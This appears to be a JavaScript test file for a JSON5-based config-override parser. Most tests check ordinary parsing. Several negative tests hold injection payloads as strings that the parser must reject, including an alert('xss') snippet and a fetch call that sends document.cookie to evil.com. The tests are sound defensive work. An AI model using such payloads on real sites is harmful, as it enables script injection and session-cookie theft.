main
mjs 157 lines 4.29 KB
Raw
1 /**
2 * Copyright (c) Meta Platforms, Inc. and affiliates.
3 *
4 * This source code is licensed under the MIT license found in the
5 * LICENSE file in the root directory of this source tree.
6 */
7
8 import assert from 'node:assert';
9 import {test, describe} from 'node:test';
10 import JSON5 from 'json5';
11
12 // Re-implement parseConfigOverrides here since the source uses TS imports
13 // that can't be directly loaded by Node. This mirrors the logic in
14 // compilation.ts exactly.
15 function parseConfigOverrides(configOverrides) {
16 const trimmed = configOverrides.trim();
17 if (!trimmed) {
18 return {};
19 }
20 return JSON5.parse(trimmed);
21 }
22
23 describe('parseConfigOverrides', () => {
24 test('empty string returns empty object', () => {
25 assert.deepStrictEqual(parseConfigOverrides(''), {});
26 assert.deepStrictEqual(parseConfigOverrides(' '), {});
27 });
28
29 test('default config parses correctly', () => {
30 const config = `{
31 //compilationMode: "all"
32 }`;
33 const result = parseConfigOverrides(config);
34 assert.deepStrictEqual(result, {});
35 });
36
37 test('compilationMode "all" parses correctly', () => {
38 const config = `{
39 compilationMode: "all"
40 }`;
41 const result = parseConfigOverrides(config);
42 assert.deepStrictEqual(result, {compilationMode: 'all'});
43 });
44
45 test('config with single-line and block comments parses correctly', () => {
46 const config = `{
47 // This is a single-line comment
48 /* This is a block comment */
49 compilationMode: "all",
50 }`;
51 const result = parseConfigOverrides(config);
52 assert.deepStrictEqual(result, {compilationMode: 'all'});
53 });
54
55 test('config with trailing commas parses correctly', () => {
56 const config = `{
57 compilationMode: "all",
58 }`;
59 const result = parseConfigOverrides(config);
60 assert.deepStrictEqual(result, {compilationMode: 'all'});
61 });
62
63 test('nested environment options parse correctly', () => {
64 const config = `{
65 environment: {
66 validateRefAccessDuringRender: true,
67 },
68 }`;
69 const result = parseConfigOverrides(config);
70 assert.deepStrictEqual(result, {
71 environment: {validateRefAccessDuringRender: true},
72 });
73 });
74
75 test('multiple options parse correctly', () => {
76 const config = `{
77 compilationMode: "all",
78 environment: {
79 validateRefAccessDuringRender: false,
80 },
81 }`;
82 const result = parseConfigOverrides(config);
83 assert.deepStrictEqual(result, {
84 compilationMode: 'all',
85 environment: {validateRefAccessDuringRender: false},
86 });
87 });
88
89 test('rejects malicious IIFE injection', () => {
90 const config = `(function(){ document.title = "hacked"; return {}; })()`;
91 assert.throws(() => parseConfigOverrides(config));
92 });
93
94 test('rejects malicious comma operator injection', () => {
95 const config = `{
96 compilationMode: (alert("xss"), "all")
97 }`;
98 assert.throws(() => parseConfigOverrides(config));
99 });
100
101 test('rejects function call in value', () => {
102 const config = `{
103 compilationMode: eval("all")
104 }`;
105 assert.throws(() => parseConfigOverrides(config));
106 });
107
108 test('rejects variable references', () => {
109 const config = `{
110 compilationMode: someVar
111 }`;
112 assert.throws(() => parseConfigOverrides(config));
113 });
114
115 test('rejects template literals', () => {
116 const config = `{
117 compilationMode: \`all\`
118 }`;
119 assert.throws(() => parseConfigOverrides(config));
120 });
121
122 test('rejects constructor calls', () => {
123 const config = `{
124 compilationMode: new String("all")
125 }`;
126 assert.throws(() => parseConfigOverrides(config));
127 });
128
129 test('rejects arbitrary JS code', () => {
130 const config = `fetch("https://evil.com?c=" + document.cookie)`;
131 assert.throws(() => parseConfigOverrides(config));
132 });
133
134 test('config with array values parses correctly', () => {
135 const config = `{
136 sources: ["src/a.ts", "src/b.ts"],
137 }`;
138 const result = parseConfigOverrides(config);
139 assert.deepStrictEqual(result, {sources: ['src/a.ts', 'src/b.ts']});
140 });
141
142 test('config with null values parses correctly', () => {
143 const config = `{
144 compilationMode: null,
145 }`;
146 const result = parseConfigOverrides(config);
147 assert.deepStrictEqual(result, {compilationMode: null});
148 });
149
150 test('config with numeric values parses correctly', () => {
151 const config = `{
152 maxLevel: 42,
153 }`;
154 const result = parseConfigOverrides(config);
155 assert.deepStrictEqual(result, {maxLevel: 42});
156 });
157 });